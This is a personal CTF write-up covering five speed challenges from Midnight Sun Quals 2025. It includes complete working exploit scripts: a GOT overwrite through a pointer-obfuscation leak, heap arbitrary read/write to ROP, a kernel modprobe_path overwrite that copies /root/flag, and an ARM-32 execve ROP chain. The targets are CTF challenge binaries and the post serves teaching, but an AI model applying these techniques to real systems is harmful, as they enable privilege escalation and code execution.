Skip to content
Jacob on Mastodon Jacob on GitHub RSS Feed Link

Sp33d - Midnight Sun Quals 2025

This weekend Maple Bacon played in Midnight Sun, an event finally running after near a month of delays. It would turn out there was no pwn category, offered instead was a speed category! With a schedule of 5 challenges to be released on a once every 4 hours starting from hour 4 onward. The first team to solve gets 200 points, 2nd 150, 3rd 100, and the rest 50.

Having not expected the speed category I went out camping Friday, expecting to roll back into service Saturday and spend the day grinding challenges once back in service. Regardless of being late, and not particularly FAST, I had fun playing along during the event and figured I’d capture the tiny write-ups for the sequence of challenges here.

Sp33d1: Absent…

But hey look here’s my cute dog. dog photo

We were out for a walk in the forest while the first challenge was released, my teammate Lyndon solved it while I was out.

It wouldn’t be for another 2 hours till I would get service again and find out that there were challenges to rush home for!

An appropriately paced drive back home had me land with all my camping gear 10 minutes before challenge two, time to throw my stuff on the floor and hack!

Sp33d2: Linked Pwn

This challenge had you break a linked list data structure with ‘obfuscated’ pointers.

 ▄▄█████████ ▄█████████▄ ▄█████████▄ ▄█████████▄ ▄████████▄      ▄█████████ ▄█████████
 ████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀████▄     ▀▀▀████▀▀▀ ▀▀▀████▀▀▀
 ████▄▄▄▄▄▄  ████▄▄▄████     ▄▄▄███▀     ▄▄▄███▀ ████  ▀████        ████       ████
 ▀▀▀▀▀▀▀████ ██████████▀     ▀▀▀███▄     ▀▀▀███▄ ████   ████        ████       ████
 ▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀  ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████▄▄████▀     ▄▄▄████▄▄▄ ▄▄▄████▄▄▄
 ██████████▀ ████        ██████████▀ ██████████▀ █████████▀      ██████████ ██████████
 ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀        ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀


  1) add
  2) print
  *) exit
>

we can add to the list, print out the list items, delete items through a 3rd option hidden from menu, and exit

The list items are heap allocated, with this structure

typedef struct list_item {
    char data[0x38];
    uint64_t obfuscated_nxt_ptr;
};

These pointers are obfuscated via bit-wise rotation and xor’ing with a secret value Essentially:

In the disassembly of the add function we can see at [1] a check for the string XDEBUG:. If present, we set dbug to 1, and move inp_ptr forward 8. This causes the check at [2] where it attempts to clamp our end pointer offset to 0x38 bytes to instead clamp to 0x40. This lets us overwrite the next pointer.

+0x401545            char* endptr_1 = strchr(&input, 0xa);
+0x40154a            char* endptr = endptr_1;
+0x40154a            
+0x401550            if (endptr_1) {
+0x401556                *(uint8_t*)endptr_1 = 0;
+0x401561                int128_t* inp_ptr = &input;
+0x401561                
+0x401572                if (!strncmp(&input, "XDEBUG: ", 8)) { // [1]
+0x401670                    dbug = 1;
+0x40167a                    inp_ptr = &input[8];
+0x401572                }
+0x401572                
+0x401588                if (strlen(inp_ptr) > 0x38) { // [2]
+0x401588                    endptr = (char*)inp_ptr + 0x38;
+0x401588                }

Setting dbug to 1 causes the print function to output the corrupted pointer when listing the items in the list.

$ 2

[+] thing 1:

         - XDEBUG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
          * [DEBUG] 0xb52b2a0; corrupt = 0xbad1cfa5c5bd4d86

This lets us to recover the secret since its output corrupted pointer is just secret ^ ror(our_input, 0x11) and we know what we overwrote the pointer with. We can then craft a proper obfuscated pointer, allocate it over the GOT, write a one_gadget to one of the GOT entries, and win!

Here’s the final exploit script

io = start()
#io = remote("sp33d.play.hfsc.tf", 1357)

def add(thing):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'thing: ', thing)

def items():
    io.sendlineafter(b'> ', b'2')
    io.recvline()
    result = []
    while True:
        if not io.recvline().startswith(b'[+]'):
            break
        io.recvline()
        data = io.recvline().split(b'- ')[1][:8].rstrip(b'\n')
        line = io.recvline()
        if b'*' in line:
            leaks = line.split()
            result.append((data, int(leaks[2][:-1], 16), int(leaks[5], 16)))
        else: result.append(data)
    return result

def item(i):
    return items()[i - 1]

def delete(index):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'index: ', b'%d' % index)

rol = lambda a: ((a << 0x11 | (a >> (64 - 0x11))) % 2**64).to_bytes(8, "little")
ror = lambda a: ((a >> 0x11 | (a << (64 - 0x11))) % 2**64).to_bytes(8, "little")

# trigger debug messages to get pointer information from list cmd
add(b"XDEBUG: " + b"A"*0x48)
decoded_ptr = item(1)[2]

# recover obfuscation secret
a = int.from_bytes(b"A"*8, "little")
v = ror(a)
cookie = xor(decoded_ptr.to_bytes(8, "little") , v) 

# encode pointer to GOT to leak libc and eventually overwrite scanf
a = xor((0x404080).to_bytes(8, "little"), cookie)
encoded = rol(int.from_bytes(a, "little"))

# setup next pointer to GOT
delete(1)
add(b"XDEBUG: " + b"A"*0x30 + encoded)

# read libc leak
libc_leak = int.from_bytes(item(2), "little")
libc.address = libc_leak - libc.symbols["__isoc99_scanf"]

# free then overwrite 2nd item : got entry to one_gadget
delete(2)
add((libc.address + 0xef52b).to_bytes(8, "little").strip(b"\x00")) # don't write null bytes, silly input constraints in add

io.interactive()

Sp33d3: Heap

$ checksec sp33d3
[*] '/home/gray/ctf/events/midnight25/speed/sp33d3/sp33d3'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$ ./sp33d3
 ▄▄█████████ ▄█████████▄ ▄█████████▄ ▄█████████▄ ▄████████▄      ▄█████████ ▄█████████ ▄█████████
 ████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀████▄     ▀▀▀████▀▀▀ ▀▀▀████▀▀▀ ▀▀▀████▀▀▀
 ████▄▄▄▄▄▄  ████▄▄▄████     ▄▄▄███▀     ▄▄▄███▀ ████  ▀████        ████       ████       ████
 ▀▀▀▀▀▀▀████ ██████████▀     ▀▀▀███▄     ▀▀▀███▄ ████   ████        ████       ████       ████
 ▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀  ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████▄▄████▀     ▄▄▄████▄▄▄ ▄▄▄████▄▄▄ ▄▄▄████▄▄▄
 ██████████▀ ████        ██████████▀ ██████████▀ █████████▀      ██████████ ██████████ ██████████
 ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀        ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀

1) malloc
2) free
3) read
4) write
*) exit
>

This is just a very simple heap-note style challenge. 0 checks, arb size malloc, arb free, arb read, arb write… what more do you want?

My solve path was as follows:

from pwn import *

io = process("./sp33d3")
#io = remote("sp33d.play.hfsc.tf", 16522)

def malloc(size):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'size: ', b'%d' % size)
    return int(io.recvline(), 16)

def free(addr):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'addr: ', b'%x' % addr)

def read(addr, count):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'addr: ', b'%x' % addr)
    io.sendlineafter(b'count: ', b'%d' % count)
    return io.recv(count)

def write(addr, data):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'addr: ', b'%x' % addr)
    io.sendlineafter(b'count: ', b'%d' % len(data))
    io.send(data)

v = [malloc(8) for _ in range(8)]
for i in v:
    free(i)

a = malloc(0x450)
b = malloc(0x450) # avoid coalescing when a's freed
free(a)

leak = read(a, 0x40)
hb = int.from_bytes(leak[:8], "little")
libcbase = libc.address = hb - 0x203b20

'''
one_gadget:
    0xef4ce execve("/bin/sh", rbp-0x50, r12)
    constraints:
    address rbp-0x48 is writable
    rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
    [r12] == NULL || r12 == NULL || r12 is a valid envp
'''
pop_rbx   = libcbase + 0x5acf9 
pop_r12   = libcbase + 0x1109ad
onegadget = libcbase + 0xef4ce

payload = flat({
    0: pop_rbx,
    8: 0,
    0x10: pop_r12,
    0x18: 0,
    0x20: onegadget
})

environ = int.from_bytes(read(libc.symbols['environ'], 0x8), "little")

write(environ - 0x160, payload)

io.interactive()

Sp33d4: Kernel!

 Midnight Sun CTF presents...

          ███████╗██████╗ ██████╗ ██████╗ ██████╗     ██╗██╗   ██╗
          ██╔════╝██╔══██╗╚════██╗╚════██╗██╔══██╗    ██║██║   ██║
          ███████╗██████╔╝ █████╔╝ █████╔╝██║  ██║    ██║██║   ██║
          ╚════██║██╔═══╝  ╚═══██╗ ╚═══██╗██║  ██║    ██║╚██╗ ██╔╝
          ███████║██║     ██████╔╝██████╔╝██████╔╝    ██║ ╚████╔╝
          ╚══════╝╚═╝     ╚═════╝ ╚═════╝ ╚═════╝     ╚═╝  ╚═══╝
══════════════════════════════════════════════════════════════════════════════╗
#ifndef __NR_PWN
#define __NR_PWN 451
#endif

SYSCALL_DEFINE1(pwn, long long *, addr)
{
    long long val;
    val = ((u64)prandom_u32() << 32) | prandom_u32();

    *addr = val;
    return val;
}
══════════════════════════════════════════════════════════════════════════════╝

A speed kernel challenge!

A very minimal setup, most all protections are turned off, no KASLR and the like, but whats the actual exploit surface. We get a new syscall, that writes a random 64-bit value to an address of our choosing. This is obviously a very broken syscall and powerful primitive. There are no checks on where this address is, and whether the user has the required privileges to write to it. This means we can overwrite whatever kernel memory we want with random values, the obvious target is to use this write to execute the modprobe_path technique!

The 64 bit value we write is random, we could put some effort to figuring out if we could predict this value, but we don’t need to since the syscall also returns the value written to us. We can just slide our 8 byte write over our target, calling the random write till the lowest byte is one we want, then incrementing. This only works if we don’t care about corrupting whats past our target, which is fine for our target modprobe_path string.

  long target = 0xffffffff81a45ca0;
  const char tl[] = "/home/user/a\x00";

  for (int i = 0; i < sizeof(tl); i++) {
    while (1) {
      int a = syscall(451, target + i);
      if ((a & 0xFF) == tl[i]) {
        break;
      }
    }
  }

Once we have used this to overwrite the modprobe path with our script target, we do the usual trigger steps, and copy over the flag from /root/flag

Here is it all packaged together

#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>

int main() {
  long v = 0;

  long target = 0xffffffff81a45ca0;
  const char tl[] = "/home/user/a\x00";

  for (int i = 0; i < sizeof(tl); i++) {
    while (1) {
      int a = syscall(451, target + i);
      if ((a & 0xFF) == tl[i]) {
        break;
      }
    }
  }

  system("printf '\\377\\377\\377\\377\\377\\377\\377\\377' > /home/user/corrupt");
  system("chmod 755 /home/user/corrupt");

  system("echo '#!/bin/sh\ncp /root/flag /home/user/flag\nchmod 777 /home/user/flag\ntouch /home/user/pwned' > /home/user/a");
  system("chmod 755 /home/user/a");

  system("/home/user/corrupt");

  system("cat ./flag");
  return 0;
}

Sp33d5: ARM ROP

The final contender, has us playing with an arm-32 pwnable

# Arch: arm-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x10000)
 ▄▄█████████ ▄█████████▄ ▄█████████▄ ▄█████████▄ ▄████████▄      ▄███   ▄███
 ████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀████▄     ████   ████
 ████▄▄▄▄▄▄  ████▄▄▄████     ▄▄▄███▀     ▄▄▄███▀ ████  ▀████     ████   ████
 ▀▀▀▀▀▀▀████ ██████████▀     ▀▀▀███▄     ▀▀▀███▄ ████   ████     ████  ▄████
 ▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀  ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████▄▄████▀     ████▄█████▀
 ██████████▀ ████        ██████████▀ ██████████▀ █████████▀      ████████▀▀
 ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀        ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀▀
num: 10
num: 120
num: q
tot: 130

The program lets you input as many numbers as you like, once our input isn’t a valid number, it outputs the sum. If we give it > 17 numbers, it attempts to de-reference a pointer equal to the value we provide as a number and segfaults. The stack frame is roughly as follows:

uint32_t return_pointer
...
uint32_t* buffer pointer
...
int32_t num_arr[0x10]

There is no length check as we fill num_arr, and we eventually overwrite the buffer pointer. We can chose any value to overwrite the buffer pointer with and get arbitrary write.

There is no ASLR in play here, the stack addresses are the same on a given system each time the program is run. The offset to values on the stack like our return address depends on the shift from the environment variables placed on the stack. This is easy to find in GDB locally, but we won’t know what these are on remote, but that can be fixed later. We set the pointer to the return address on the stack and start writing a ROP chain.

One thing to note when writing arm-32 ROP is that the instruction mode (ARM/Thumb) is set by the LSB of the addresses you jump/pop to. To jump to gadgets that are Thumb instructions you need to set the LSB of the address to 1. It took awhile to remember why the instructions looked wrong when landing in the rop gadgets…

My exploit ROP chain sets up execve(/bin/sh, NULL, NULL). We write integer values to our array that encode /bin/sh at the start pre-rop, then we find the required gadgets to zero out r1, place a pointer to our /bin/sh string in r0, set r7 to the execve syscall number 11, then jump to a syscall instruction svc and win.

io = process("qemu-arm-static ./sp33d5".split())

gad1 = 0x24934 # pop {r0, r4, pc}
gad2 = 0x29339 # pop {r4, r6, r7, pc};
gad3 = 0x2209d # movs r1, #0; cmp r1, #0; bne 0x12096; cmp r3, #1; bgt 0x120aa; pop {r4, r5, r6, pc};

io.recvuntil(b"num: ")
io.sendline(str(int.from_bytes(b"/bin", "little")).encode())
io.recvuntil(b"num: ")
io.sendline(str(int.from_bytes(b"/sh\x00", "little")).encode())

# fill remaining array
for i in range(17 - 2):
    io.sendline(str(0xdead).encode())

# next int overwrites our write pointer, point to return pointer for main
io.sendline(str(0x407ffc48).encode())

# rop chain 
io.sendline(str(gad1).encode())       # rbp? forgot to adjust
io.sendline(str(gad1).encode())       # return pointer
io.sendline(str(0x407ffbf4).encode()) # r0 -> pointer to buffer for "/bin/sh"
io.sendline(str(2).encode())          # r4 
io.sendline(str(gad2).encode())       # pc -> gadget 2
io.sendline(str(11).encode())         # r4
io.sendline(str(11).encode())         # r6
io.sendline(str(11).encode())         # r7
io.sendline(str(gad3).encode())       # pc -> gadget 3
io.sendline(str(0xdead).encode())     # r4
io.sendline(str(0xdead).encode())     # r5
io.sendline(str(0xdead).encode())     # r6
io.sendline(str(0x10aa5).encode())    # pc -> syscall gadget
io.sendline(b"a") # ret from main, trigger rop
io.interactive()

This worked locally, but we needed to figure out brute force the offset to the return address on remote. Lyndon threw together a nice script to find the offset on remote, nabbing the final flag!

While I would have liked to dig into 1 or two more complex challenges this weekend, I still found the speed challenges fun.